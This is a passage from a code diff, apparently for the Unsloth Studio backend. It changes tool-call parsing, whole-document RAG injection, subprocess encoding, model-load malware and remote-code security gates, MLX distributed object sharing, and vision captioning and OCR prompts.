if end_marker < 0 or (next_call >= 0 and end_marker > next_call): + pos = brace_end + 1 continue - json_str = content[brace_start : i + 1] - try: - obj = json.loads(json_str) - tc = { - "id": f"call_{id_offset + len(tool_calls)}", - "type": "function", - "function": { - "name": obj.get("name", ""), - "arguments": obj.get("arguments", {}), - }, - } - if isinstance(tc["function"]["arguments"], dict): - tc["function"]["arguments"] = json.dumps(tc["function"]["arguments"]) - tool_calls.append(tc) - except (json.JSONDecodeError, ValueError): - pass - - # Pattern 2: v... -- closing tags optional; - # isn't a body boundary since code values can contain it. - if not tool_calls: - func_starts = [ - fm - for fm in _TC_FUNC_START_RE.finditer(content) - if not _inside_open_parameter(content, fm.start()) - ] - for idx, fm in enumerate(func_starts): - func_name = fm.group(1) - body_start = fm.end() - next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content) - end_tag = _TC_END_TAG_RE.search(content[body_start:]) - if end_tag: - body_end = body_start + end_tag.start() - else: - body_end = len(content) - body_end = min(body_end, next_func) - body = content[body_start:body_end] - if not allow_incomplete: - # Bound the body at the closing tag rather than - # the end of the response, so a complete call followed by - # trailing prose is still accepted (matching the JSON-style - # path, which already tolerates trailing text). - # rfind picks the last , so a literal - # inside a code parameter value stays in the body. - close_idx = body.rfind(_FUNC_CLOSE_TAG) - if close_idx < 0: - continue - body = body[:close_idx] - else: - body = _TC_FUNC_CLOSE_RE.sub("", body) - - arguments: dict = {} - param_starts = list(_TC_PARAM_START_RE.finditer(body)) - if len(param_starts) == 1: - # Single param: take everything to body end so an embedded - # in code strings is preserved. - pm = param_starts[0] - val = body[pm.end() :] - if not allow_incomplete: - stripped_val = val.rstrip() - if not stripped_val.endswith(_PARAM_CLOSE_TAG): - continue - val = stripped_val[: -len(_PARAM_CLOSE_TAG)] - else: - val = _TC_PARAM_CLOSE_RE.sub("", val) - arguments[pm.group(1)] = val.strip() - else: - valid_params = True - for pidx, pm in enumerate(param_starts): - param_name = pm.group(1) - val_start = pm.end() - next_param = ( - param_starts[pidx + 1].start() - if pidx + 1 < len(param_starts) - else len(body) - ) - val = body[val_start:next_param] - if not allow_incomplete: - stripped_val = val.rstrip() - if not stripped_val.endswith(_PARAM_CLOSE_TAG): - valid_params = False - break - val = stripped_val[: -len(_PARAM_CLOSE_TAG)] - else: - val = _TC_PARAM_CLOSE_RE.sub("", val) - arguments[param_name] = val.strip() - if not valid_params: - continue - - tc = { - "id": f"call_{id_offset + len(tool_calls)}", - "type": "function", - "function": { - "name": func_name, - "arguments": json.dumps(arguments), - }, - } - tool_calls.append(tc) - - return tool_calls - - -def has_tool_signal(text: str) -> bool: - """Return True if ``text`` contains any tool-call XML signal.""" - return any(s in text for s in TOOL_XML_SIGNALS) + if name: + out.append( + { + "id": full_id or f"call_{id_offset + len(out)}", + "type": "function", + "function": { + "name": name, + "arguments": json.dumps(args), + }, + } + ) + # Advance past the JSON; seeking <|tool_call_end|> could skip a following call + # when this one's end marker is missing. + pos = brace_end + 1 + return out diff --git a/studio/backend/core/inference/tools.py b/studio/backend/core/inference/tools.py index 6960310018..82c50933fc 100644 --- a/studio/backend/core/inference/tools.py +++ b/studio/backend/core/inference/tools.py @@ -1121,6 +1121,61 @@ def _autoinject_top_k() -> int: return _AUTOINJECT_DEFAULT_TOP_K +def _thread_whole_doc_enabled(scope: dict) -> bool: + """Whether a thread-attached file should be injected in full rather than + retrieved top-K. ``rag_scope.whole_doc=False`` disables it for this request.""" + override = scope.get("whole_doc") + if override is False: + return False + try: + from core.rag import config as _rag_config + except Exception: # noqa: BLE001 + return True + return _rag_config.THREAD_WHOLE_DOC + + +_IMAGE_PART_TOKEN_ESTIMATE = 1024 + + +def _message_token_estimate(conversation: list[dict]) -> int: + """Cheap prompt-size estimate for budget guards; exact tokenization happens later.""" + total = 0 + for msg in conversation: + content = msg.get("content") + if isinstance(content, str): + total += max(1, len(content) // 4) + elif isinstance(content, list): + for part in content: + if isinstance(part, dict): + if part.get("type") in ("image_url", "input_image"): + total += _IMAGE_PART_TOKEN_ESTIMATE + else: + total += max(1, len(str(part.get("text") or "")) // 4) + total += 4 # chat-template role / separator overhead estimate + return total + + +def _whole_doc_budget(scope: dict | None = None, conversation: list[dict] | None = None) -> int: + try: + from core.rag import config as _rag_config + except Exception: # noqa: BLE001 + budget = 6000 + else: + budget = _rag_config.WHOLE_DOC_MAX_TOKENS + if not scope: + return budget + context = _opt_int(scope.get("context_length") or scope.get("max_context_tokens")) + if context is None or context <= 0: + return budget + headroom = _opt_int(scope.get("response_headroom")) + if headroom is None: + headroom = max(1024, context // 4) + used = _message_token_estimate(conversation or []) + # Leave room for tool XML wrappers, citation metadata, and chat-template overhead. + available = context - headroom - used - 512 + return min(budget, max(0, available)) + + def _last_user_text(conversation: list[dict]) -> str: """Plain text of the most recent user turn (text parts only).""" for msg in reversed(conversation): @@ -1154,7 +1209,11 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di enabled = rag_scope.get("autoinject") if enabled is None: enabled = _autoinject_enabled() - if not enabled: + thread_id = rag_scope.get("thread_id") + whole_doc_requested = ( + bool(thread_id) and not rag_scope.get("kb_id") and _thread_whole_doc_enabled(rag_scope) + ) + if not enabled and not whole_doc_requested: return None query = _last_user_text(conversation) if not query: @@ -1163,35 +1222,81 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di from storage import rag_db if not rag_db.RAG_AVAILABLE: return None - from core.rag.tool import search_for_autoinject + from core.rag.tool import render_sources, search_for_autoinject, whole_document_context except Exception as exc: # noqa: BLE001 logger.warning("RAG auto-inject unavailable: %s", exc) return None + text: str | None = None + sources: list[dict] = [] + floor_override = rag_scope.get("autoinject_min_score") floor = float(floor_override) if floor_override is not None else _autoinject_floor() # Cap at the lean top_k, but honor a lower user setting. lean_k = _autoinject_top_k() sidebar_k = _opt_int(rag_scope.get("default_top_k")) top_k = min(sidebar_k, lean_k) if sidebar_k is not None else lean_k - try: - found = search_for_autoinject( - query = query, - scope_kb_id = rag_scope.get("kb_id"), - scope_thread_id = rag_scope.get("thread_id"), - scope_project_id = rag_scope.get("project_id"), - top_k = top_k, - min_dense_score = floor, - **_scope_retrieval_kwargs(rag_scope), - ) - except Exception as exc: # noqa: BLE001 - logger.warning("RAG auto-inject retrieval failed: %s", exc) - return None - if not found: - logger.info("RAG auto-inject: no passage >= %.2f; skipping", floor) + + # Whole-document mode: a thread-attached file under budget is injected in full so + # the model reads everything. A KB selection is exclusive, so whole-doc never + # preempts it; in a project chat the project sources are still retrieved top-K and + # appended under one citation numbering. Oversized files (or no thread doc) fall + # through to the combined top-K retrieval below. + if whole_doc_requested: + try: + budget = _whole_doc_budget(rag_scope, conversation) + + whole = whole_document_context( + scope_thread_id = thread_id, + max_tokens = budget, + ) + except Exception as exc: # noqa: BLE001 + logger.warning("RAG whole-document context failed: %s", exc) + whole = None + if whole is not None: + text, sources = whole + project_id = rag_scope.get("project_id") + if project_id: + try: + proj = search_for_autoinject( + query = query, + scope_project_id = project_id, + top_k = top_k, + min_dense_score = floor, + **_scope_retrieval_kwargs(rag_scope), + ) + except Exception as exc: # noqa: BLE001 + logger.warning("RAG project retrieval (whole-doc companion) failed: %s", exc) + proj = None + if proj is not None: + merged = sources + proj[1] + merged_text = render_sources(merged) + if max(1, len(merged_text) // 4) <= budget: + sources = merged + text = merged_text + logger.info("RAG auto-inject: whole-document context (%d chunk(s))", len(sources)) + + if text is None and enabled: + try: + found = search_for_autoinject( + query = query, + scope_kb_id = rag_scope.get("kb_id"), + scope_thread_id = rag_scope.get("thread_id"), + scope_project_id = rag_scope.get("project_id"), + top_k = top_k, + min_dense_score = floor, + **_scope_retrieval_kwargs(rag_scope), + ) + except Exception as exc: # noqa: BLE001 + logger.warning("RAG auto-inject retrieval failed: %s", exc) + return None + if not found: + logger.info("RAG auto-inject: no passage >= %.2f; skipping", floor) + return None + text, sources = found + if text is None: return None - text, sources = found import json as _json import uuid as _uuid @@ -1236,7 +1341,7 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di "content": text, }, ] - logger.info("RAG auto-inject: %d passage(s) >= %.2f for %r", len(sources), floor, query[:80]) + logger.info("RAG auto-inject: %d passage(s) for %r", len(sources), query[:80]) return {"events": events, "messages": messages} @@ -2545,14 +2650,24 @@ def _python_exec( pass try: fd, tmp_path = tempfile.mkstemp(suffix = ".py", prefix = "studio_exec_", dir = workdir) - with os.fdopen(fd, "w") as f: + # utf-8 so non-ASCII in model-written code survives the OS default codec + # (Windows cp1252 would otherwise raise UnicodeEncodeError). + with os.fdopen(fd, "w", encoding = "utf-8") as f: f.write(code) safe_env = _build_bypass_env(workdir) if disable_sandbox else _build_safe_env(workdir) + if disable_sandbox: + # Match the sandboxed Python path without changing bypass shell I/O. + safe_env = dict(safe_env) + safe_env["PYTHONIOENCODING"] = "utf-8" popen_kwargs = dict( stdout = subprocess.PIPE, stderr = subprocess.STDOUT, text = True, + # Decode child output as utf-8 (it emits utf-8 via PYTHONIOENCODING); + # replace so non-ASCII output never crashes the read on Windows. + encoding = "utf-8", + errors = "replace", cwd = workdir, env = safe_env, ) diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.py index 44c0f5b3be..05dee39283 100644 --- a/studio/backend/core/inference/worker.py +++ b/studio/backend/core/inference/worker.py @@ -13,6 +13,7 @@ mp.Queue, and exits on shutdown or unload. Pattern follows core/training/worker. from __future__ import annotations import base64 +import json from loggers import get_logger import os import queue as _queue @@ -26,6 +27,9 @@ from typing import Any logger = get_logger(__name__) from utils.hardware import apply_gpu_ids +_SHARE_OBJECT_MAX_BYTES = 1 << 20 +_SHARE_OBJECT_ERROR_SIZE = -1 + # studio/backend root, prepended to sys.path so the spawned subprocess can # import the utils/core packages. _BACKEND_PATH = str(Path(__file__).resolve().parent.parent.parent) @@ -36,13 +40,13 @@ def _ensure_backend_on_path() -> None: sys.path.insert(0, _BACKEND_PATH) -def _activate_transformers_version(model_name: str) -> None: +def _activate_transformers_version(model_name: str, hf_token: str | None = None) -> None: """Activate the correct transformers version BEFORE any ML imports.""" _ensure_backend_on_path() from utils.transformers_version import activate_transformers_for_subprocess - activate_transformers_for_subprocess(model_name) + activate_transformers_for_subprocess(model_name, hf_token) def _decode_image(image_base64: str): @@ -75,6 +79,17 @@ def _send_response(resp_queue: Any, response: dict) -> None: logger.error("Failed to send response: %s", exc) +def _encode_share_object(obj: Any) -> bytes: + data = json.dumps(obj, separators = (",", ":"), ensure_ascii = False).encode("utf-8") + if len(data) > _SHARE_OBJECT_MAX_BYTES: + raise ValueError("Distributed object share payload is too large") + return data + + +def _decode_share_object(data: Any) -> Any: + return json.loads(bytes(data.tolist()).decode("utf-8")) + + def _clean_token(value: str | None) -> str | None: """Normalize an HF token: blank or whitespace-only becomes None.""" return value if value and value.strip() else None @@ -160,6 +175,114 @@ def _resolve_lora_4bit(mc, load_in_4bit: bool) -> bool: return load_in_4bit +def _ensure_ssm_kernels(targets: list, resp_queue: Any) -> bool: + """Install the SSM kernels the given model(s) lazy-import in from_pretrained; no-op for + non-SSM models, idempotent. Returns True on success; on a fatal mamba-ssm failure sends a + 'loaded' failure response and returns False. Call BEFORE importing transformers, which + snapshots its optional-backend gates at import (a later install may not be picked up). + """ + try: + from utils.ssm_runtime import ensure_ssm_runtime + except Exception as exc: + logger.debug("ssm_runtime unavailable (%s); skipping SSM kernel pre-install", exc) + return True + + _ssm_status = lambda m: _send_response(resp_queue, {"type": "status", "message": m}) + try: + for ssm_target in dict.fromkeys(t for t in targets if t): + ensure_ssm_runtime(ssm_target, status_cb = _ssm_status) + return True + except Exception as exc: + _send_response( + resp_queue, + { + "type": "loaded", + "success": False, + "message": ( + f"This model needs SSM kernel libraries (causal-conv1d / " + f"mamba-ssm) that could not be installed: {exc}" + ), + "error_kind": "ssm_runtime_install_failed", + }, + ) + return False + + +def _run_security_gates( + targets: list, + *, + trust_remote_code: bool, + hf_token: str | None, + approved_fingerprint: str | None, + resp_queue: Any, + compute_subdirs: bool = True, + subject: str | None = None, +) -> bool: + """Malware + (when trust_remote_code) remote-code consent gates over *targets* + (model + base). Sends the matching 'loaded' failure and returns False if blocked; True + when every target is clear. + + ``compute_subdirs=False`` keeps the gate transformers-free (``security_load_subdirs`` + imports ``model_config`` -> ``transformers``, which would snapshot optional-backend + availability before the SSM kernels are installed): used for the pre-import preflight, + where ``_handle_load`` re-runs the authoritative gate with full subdir scoping. + """ + targets = list(dict.fromkeys(t for t in targets if t)) + + # A poisoned pickle deserializes during from_pretrained even with trust_remote_code + # False, so check HF's security scan every load (for a LoRA, the base deserializes). + from utils.security import evaluate_file_security + + if compute_subdirs: + from utils.security import security_load_subdirs + + for target in targets: + _subdirs = security_load_subdirs(target, hf_token) if compute_subdirs else () + _fs = evaluate_file_security(target, hf_token = hf_token, load_subdirs = _subdirs) + if _fs.blocked: + _send_response( + resp_queue, + { + "type": "loaded", + "success": False, + "message": _fs.reason, + "error_kind": "malware_blocked", + "security": _fs.response_payload(), + }, + ) + return False + + # Scan auto_map code before it runs; block CRITICAL/HIGH unless pinned-approved. Adapter + # and base are scanned as one unit, pinned by a single fingerprint. + if trust_remote_code: + from utils.security import evaluate_remote_code_consent_for_targets + _rc = evaluate_remote_code_consent_for_targets( + targets, + hf_token = hf_token, + trust_remote_code = True, + approved_fingerprint = approved_fingerprint, + subject = subject, + ) + if _rc.blocked: + _send_response( + resp_queue, + { + "type": "loaded", + "success": False, + "message": ( + f"Model '{_rc.model_name}' ships custom code flagged as " + f"{_rc.max_severity} by the security scan. Review " + f"and approve it to proceed." + ), + "error_kind": "remote_code_blocked", + "remote_code": _rc.response_payload(), + }, + ) + return False + + return True + + def _handle_load(backend, config: dict, resp_queue: Any) -> None: """Handle a load command: load a model into the backend.""" try: @@ -175,61 +298,32 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None: "Auto-enabled trust_remote_code for Nemotron model: %s", config["model_name"] ) - # Malware gate: a poisoned pickle deserializes during from_pretrained even - # with trust_remote_code False, so check HF's security scan (metadata-only) - # every load. For a LoRA, gate the base whose weights deserialize. - from utils.security import evaluate_file_security, security_load_subdirs - - malware_targets = [config["model_name"]] + # Authoritative gates over the model + the LoRA base resolved via mc. Must run before + # the SSM install so a blocked model never triggers a native kernel build. + targets = [config["model_name"]] if mc.is_lora and getattr(mc, "base_model", None): - malware_targets.append(str(mc.base_model)) - for target in dict.fromkeys(malware_targets): - _fs = evaluate_file_security( - target, hf_token = hf_token, load_subdirs = security_load_subdirs(target, hf_token) - ) - if _fs.blocked: - _send_response( - resp_queue, - { - "type": "loaded", - "success": False, - "message": _fs.reason, - "error_kind": "malware_blocked", - "security": _fs.response_payload(), - }, - ) - return + targets.append(str(mc.base_model)) + if not _run_security_gates( + targets, + trust_remote_code = trust_remote_code, + hf_token = hf_token, + approved_fingerprint = config.get("approved_remote_code_fingerprint"), + resp_queue = resp_queue, + subject = config.get("subject"), + ): + return - # Consent gate: scan auto_map code before it runs; block CRITICAL/HIGH - # unless pinned-approved. For a LoRA, gate the base whose code runs. - if trust_remote_code: - from utils.security import evaluate_remote_code_consent_for_targets + # Install SSM/Mamba kernels: a no-op for the initial load (pre-installed before import) + # but still needed for a LoRA's base (resolved only now via mc) and in-process loads. + # Skip on MLX (no macOS wheel). Probe the base, not the adapter id / local path. + if getattr(backend, "device", None) != "mlx": + from utils.ssm_runtime import ssm_probe_identifier - consent_targets = [config["model_name"]] - if mc.is_lora and getattr(mc, "base_model", None): - consent_targets.append(str(mc.base_model)) - # Scan adapter + base as one unit, pinned by a single fingerprint. - _rc = evaluate_remote_code_consent_for_targets( - consent_targets, - hf_token = hf_token, - trust_remote_code = True, - approved_fingerprint = config.get("approved_remote_code_fingerprint"), + _ssm_base = ( + str(mc.base_model) if (mc.is_lora and getattr(mc, "base_model", None)) else None ) - if _rc.blocked: - _send_response( - resp_queue, - { - "type": "loaded", - "success": False, - "message": ( - f"Model '{_rc.model_name}' ships custom code flagged as " - f"{_rc.max_severity} by the security scan. Review " - f"and approve it to proceed." - ), - "error_kind": "remote_code_blocked", - "remote_code": _rc.response_payload(), - }, - ) + ssm_targets = [ssm_probe_identifier(config["model_name"], _ssm_base)] + if not _ensure_ssm_kernels(ssm_targets, resp_queue): return # Heartbeat keeps the orchestrator's inactivity deadline alive during slow @@ -250,14 +344,18 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None: xet_disabled = os.environ.get("HF_HUB_DISABLE_XET") == "1", ) try: - success = backend.load_model( - config = mc, - max_seq_length = config.get("max_seq_length", 2048), - load_in_4bit = load_in_4bit, - hf_token = hf_token, - trust_remote_code = trust_remote_code, - gpu_ids = config.get("resolved_gpu_ids"), - ) + load_kwargs = { + "config": mc, + "max_seq_length": config.get("max_seq_length", 2048), + "load_in_4bit": load_in_4bit, + "hf_token": hf_token, + "trust_remote_code": trust_remote_code, + "gpu_ids": config.get("resolved_gpu_ids"), + } + if getattr(backend, "device", None) == "mlx": + load_kwargs["parallel_mode"] = config.get("mlx_parallel_mode") + load_kwargs["distributed_group"] = config.get("_mlx_distributed_group") + success = backend.load_model(**load_kwargs) finally: heartbeat_stop.set() @@ -327,6 +425,32 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None: ) +def _drain_skip_generate(cmd: dict, resp_queue: Any, drain_event) -> bool: + """Skip a generate queued behind a cancelled one during an unload. + + The parent sets ``drain_event`` for the whole unload. Because the parent's + per-token ``cancel_event`` is cleared at the start of every generate, a cancel + set while this generate was still queued would otherwise be lost when it is + dequeued. If the drain is in effect, emit an immediate (empty) ``gen_done`` so + the parent's stream/mailbox drains fast and the switch stays fast, and report + the generate was skipped so the caller does not clear the cancel or run it. + """ + if drain_event is None or not drain_event.is_set(): + return False + request_id = cmd.get("request_id", "") + logger.info("Skipping generate for request %s: unload draining", request_id) + _send_response( + resp_queue, + { + "type": "gen_done", + "request_id": request_id, + "cancelled": True, + "stats": None, + }, + ) + return True + + def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None: """Handle a generate command: stream tokens back via resp_queue. @@ -352,6 +476,7 @@ def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None: "min_p": cmd.get("min_p", 0.0), "max_new_tokens": cmd.get("max_new_tokens", 256), "repetition_penalty": cmd.get("repetition_penalty", 1.0), + "presence_penalty": cmd.get("presence_penalty", 0.0), "cancel_event": cancel_event, } @@ -415,6 +540,67 @@ def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None: ) +def _handle_share_object(backend, cmd: dict, resp_queue: Any) -> None: + """Share a small Python object across MLX distributed ranks.""" + request_id = cmd.get("request_id", "") + group = getattr(backend, "_distributed_group", None) + rank = int(getattr(backend, "_distributed_rank", 0) or 0) + world_size = int(getattr(backend, "_distributed_world_size", 1) or 1) + obj = cmd.get("object") + + try: + if group is None or world_size <= 1: + shared = obj + else: + import mlx.core as mx + if rank == 0: + if obj is None: + mx.eval(mx.distributed.all_sum(mx.array(0), group = group)) + shared = None + else: + try: + data = mx.array(_encode_share_object(obj), dtype = mx.uint8) + except Exception: + mx.eval( + mx.distributed.all_sum( + mx.array(_SHARE_OBJECT_ERROR_SIZE), + group = group, + ) + ) + raise + mx.eval(mx.distributed.all_sum(mx.array(data.size), group = group)) + mx.eval(mx.distributed.all_sum(data, group = group)) + shared = obj + else: + size = int(mx.distributed.all_sum(mx.array(0), group = group).item()) + if size == _SHARE_OBJECT_ERROR_SIZE: + raise RuntimeError("Failed to share distributed object") + if size == 0: + shared = None + else: + data = mx.zeros(size, dtype = mx.uint8) + data = mx.distributed.all_sum(data, group = group) + shared = _decode_share_object(data) + _send_response( + resp_queue, + { + "type": "shared", + "request_id": request_id, + "object": shared, + }, + ) + except Exception as exc: + _send_response( + resp_queue, + { + "type": "share_error", + "request_id": request_id, + "error": str(exc), + "stack": traceback.format_exc(limit = 20), + }, + ) + + def _handle_generate_audio(backend, cmd: dict, resp_queue: Any) -> None: """Handle TTS audio generation — returns WAV bytes + sample_rate.""" request_id = cmd.get("request_id", "") @@ -553,7 +739,14 @@ def _handle_unload(backend, cmd: dict, resp_queue: Any) -> None: ) -def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, config: dict) -> None: +def run_inference_process( + *, + cmd_queue: Any, + resp_queue: Any, + cancel_event, + config: dict, + drain_event = None, +) -> None: """Subprocess entrypoint. Persistent — runs the command loop until shutdown. Args: @@ -561,6 +754,10 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf resp_queue: mp.Queue for sending responses to parent. cancel_event: mp.Event the parent sets to cancel generation. config: Initial configuration dict with model info. + drain_event: mp.Event the parent sets for the duration of an unload. Unlike + cancel_event (cleared at the start of every generate), it is never cleared + here, so a generate still queued behind a cancelled one is skipped rather + than run — the cancel survives the queue handoff. """ os.environ["TOKENIZERS_PARALLELISM"] = "false" os.environ["PYTHONWARNINGS"] = "ignore" # Suppress warnings at C-level before imports @@ -594,7 +791,7 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf # Non-fatal: fall through with the installed version, but log the cause # instead of swallowing it (issue #6103). try: - _activate_transformers_version(model_name) + _activate_transformers_version(model_name, config.get("hf_token") or None) except Exception as exc: logger.warning( "Failed to activate transformers version for '%s' (MLX inference); " @@ -603,9 +800,29 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf exc, ) try: - from core.inference.mlx_inference import MLXInferenceBackend + from core.inference.mlx_inference import MLXInferenceBackend, _init_mlx_distributed backend = MLXInferenceBackend() + if config.get("mlx_distributed"): + group, rank, size = _init_mlx_distributed() + config["_mlx_distributed_group"] = group + if size <= 1: + # A singleton group (MLX built without distributed support, + # or an invalid launch env/hostfile) would leave nonzero ranks + # looping forever on share_distributed_object. Fail the load + # instead of silently continuing without sharding. + raise RuntimeError( + "MLX distributed launch requested but initialized a singleton " + "group (size 1). Ensure the installed MLX has distributed " + "support and the launch environment/hostfile is valid, or run " + "without distributed." + ) + logger.info( + "MLX distributed initialized in worker: rank=%s size=%s mode=%s", + rank, + size, + config.get("mlx_parallel_mode"), + ) _send_response( resp_queue, {"type": "status", "message": "Loading model..."}, @@ -636,8 +853,19 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf cmd_type = cmd.get("type", "") try: if cmd_type == "generate": + if _drain_skip_generate(cmd, resp_queue, drain_event): + continue cancel_event.clear() + # Re-check the drain after clearing: the parent sets drain_event + # then cancel_event for an unload, so if that pair landed between + # the check above and this clear, the clear just erased the unload's + # cancel. Skip here so the outgoing model is not run to completion, + # which would stall the switch until the dispatcher idle-timeout. + if _drain_skip_generate(cmd, resp_queue, drain_event): + continue _handle_generate(backend, cmd, resp_queue, cancel_event) + elif cmd_type == "share_object": + _handle_share_object(backend, cmd, resp_queue) elif cmd_type == "load": if backend.active_model_name: backend.unload_model(backend.active_model_name) @@ -678,9 +906,33 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf ) return - # ── 1. Activate transformers version BEFORE any ML imports ── + # ── Resolve the effective base once, before activation/gates/install (no ML import) ── + # A remote LoRA's base is in its Hub adapter_config.json (else surfaced only by ModelConfig + # after import). _lora_base is set only for a genuine adapter, never a full fine-tune's base. + import json as _json + + _ensure_backend_on_path() + from utils.transformers_version import _remote_lora_base, _resolve_base_model + + _hf_token = _clean_token(config.get("hf_token")) + _lora_base = None + _local_adapter_cfg = Path(model_name) / "adapter_config.json" + if _local_adapter_cfg.is_file(): + try: + _lora_base = ( + _json.loads(_local_adapter_cfg.read_text()).get("base_model_name_or_path") or None + ) + except Exception: + _lora_base = None + if not _lora_base: + _lora_base = _remote_lora_base(model_name, hf_token = _hf_token) + # Base for tier activation + the SSM-kernel heuristic: the LoRA base if any, else a full + # fine-tune's recorded base from config.json (its name reveals the SSM/sidecar arch). + _base = _lora_base or _resolve_base_model(model_name) + + # ── 1. Activate transformers version (on the resolved base) BEFORE any ML imports ── try: - _activate_transformers_version(model_name) + _activate_transformers_version(_base, _hf_token) except Exception as exc: _send_response( resp_queue, @@ -704,6 +956,36 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf 'Install for better performance: pip install "triton-windows<3.7"' ) + # ── 1c. Security gates, then SSM/Mamba kernels, BEFORE importing transformers ── + # transformers snapshots its optional-backend gates at import, so a hybrid model's kernels + # must be installed before the import below ("mamba-ssm is required" otherwise). The gates + # are metadata-only, so run them first and refuse a blocked model before any native build. + # Gate only the model + a genuine LoRA base (matching _handle_load), never a full fine-tune's + # unloaded base; _handle_load re-runs the authoritative gates with the mc base. + _gate_targets = [model_name] + if _lora_base: + _gate_targets.append(_lora_base) + _trust_remote_code = config.get("trust_remote_code", False) or _needs_nemotron_trust( + model_name, hf_token = _hf_token + ) + if not _run_security_gates( + _gate_targets, + trust_remote_code = _trust_remote_code, + hf_token = _hf_token, + approved_fingerprint = config.get("approved_remote_code_fingerprint"), + resp_queue = resp_queue, + compute_subdirs = False, # stay transformers-free until the SSM kernels are installed + subject = config.get("subject"), + ): + return + # Probe the resolved base for SSM kernels, not the adapter id / local checkpoint path + # (arbitrary names must not match the SSM substrings). + from utils.ssm_runtime import ssm_probe_identifier + + _ssm_targets = [ssm_probe_identifier(model_name, _base)] + if not _ensure_ssm_kernels(_ssm_targets, resp_queue): + return + # ── 2. Import ML libraries (fresh in this clean process) ── try: _send_response( @@ -716,6 +998,11 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf _ensure_backend_on_path() + # Recover from any namespace-package shadow before importing Unsloth. + from core.import_guards import ensure_real_packages + + ensure_real_packages("unsloth_zoo", "unsloth") + from core.inference.inference import InferenceBackend import transformers @@ -780,9 +1067,21 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf try: if cmd_type == "generate": + if _drain_skip_generate(cmd, resp_queue, drain_event): + continue cancel_event.clear() + # Re-check the drain after clearing: the parent sets drain_event then + # cancel_event for an unload, so if that pair landed between the check + # above and this clear, the clear just erased the unload's cancel. Skip + # here so the outgoing model is not run to completion, which would stall + # the switch until the dispatcher idle-timeout tears the subprocess down. + if _drain_skip_generate(cmd, resp_queue, drain_event): + continue _handle_generate(backend, cmd, resp_queue, cancel_event) + elif cmd_type == "share_object": + _handle_share_object(backend, cmd, resp_queue) + elif cmd_type == "load": if backend.active_model_name: backend.unload_model(backend.active_model_name) diff --git a/studio/backend/core/rag/captioner.py b/studio/backend/core/rag/captioner.py index be8e341064..6d1512a770 100644 --- a/studio/backend/core/rag/captioner.py +++ b/studio/backend/core/rag/captioner.py @@ -1,9 +1,12 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 -"""Caption figures with the loaded vision model and splice the text into the page -so images are searchable via the normal FTS5 + dense path. No-op (never raises) -without a vision model or on failure; gated by ``config.CAPTION_IMAGES``.""" +"""Vision-model helpers for ingestion: figure captioning and scanned-page OCR. + +Both turn pixels into indexable text and are a no-op (never raise) without a loaded +vision model. They reuse the chat model's vision endpoint, so it must be served with +``--ubatch-size`` >= one image's tokens (some encoders, e.g. Gemma, attend +non-causally and abort otherwise); Studio's vision chat already requires this.""" from __future__ import annotations @@ -15,11 +18,54 @@ from . import config logger = logging.getLogger(__name__) _CAPTION_PROMPT = ( - "Describe this figure or image from a document in one or two concise " - "sentences, for search indexing. State what it depicts (e.g. a diagram, " - "chart, table or photo) and its key content. Do not add commentary." + "Read this figure or image from a document for search indexing.\n" + "First, on a line 'TEXT:', transcribe every piece of visible text exactly as " + "written, in reading order: the title, axis labels and units, legend and series " + "names, EVERY box / node / arrow label, table headers and cells, equations, and " + "footnotes. List each distinct label even if it is small.\n" + "Then, on a line 'SUMMARY:', add one or two sentences on what it shows (chart " + "type and trend, diagram subject, table topic, or photo content).\n" + "Report only what is visible. Transcribe exactly; do not invent or guess any " + "text, label, or number." ) +_OCR_PROMPT = ( + "Transcribe all text on this document page exactly as it appears, in reading " + "order, including any text inside figures, diagrams, charts, and tables (keep " + "table rows readable). Output only the transcribed text, with no commentary or " + "code fences. Preserve headings, lists, and line breaks. If the page has no " + "readable text, output nothing." +) + + +def _collapse_runaway( + text: str, + max_repeat: int = 3, + max_total: int = 8, +) -> str: + """Cap runaway repetition: vision models sometimes loop a line many times. Keep + each distinct line to ``max_repeat`` in a row and ``max_total`` total, and collapse + blank-line floods, so a degenerate page cannot flood the index.""" + out: list[str] = [] + seen: dict[str, int] = {} + prev: str | None = None + run = 0 + for line in text.splitlines(): + key = line.strip() + if not key: + if prev == "": # collapse runs of blank lines to a single separator + continue + prev = "" + out.append("") + continue + run = run + 1 if key == prev else 1 + prev = key + seen[key] = seen.get(key, 0) + 1 + if run > max_repeat or seen[key] > max_total: + continue + out.append(line) + return "\n".join(out) + def vision_endpoint() -> tuple[str, str] | None: """``(base_url, model)`` for a loaded vision GGUF model, else None.""" @@ -33,7 +79,28 @@ def vision_endpoint() -> tuple[str, str] | None: return None -def _caption_one(base_url: str, model: str, image_bytes: bytes, timeout: float) -> str | None: +def _vision_auth_headers() -> dict | None: + """Bearer header for the backend's API, or None. Vision calls share the chat + endpoint, so they need the same key under direct-stream (``--api-key``) mode.""" + try: + from routes.inference import get_llama_cpp_backend + return get_llama_cpp_backend()._auth_headers or None + except Exception: # noqa: BLE001 - auth discovery must never break ingestion + return None + + +def _vision_complete( + base_url: str, + model: str, + image_bytes: bytes, + *, + prompt: str, + timeout: float, + max_tokens: int, + temperature: float = 0.0, +) -> str | None: + """One image-in / text-out call to the loaded vision model's OpenAI-compatible + endpoint. Returns the stripped text or 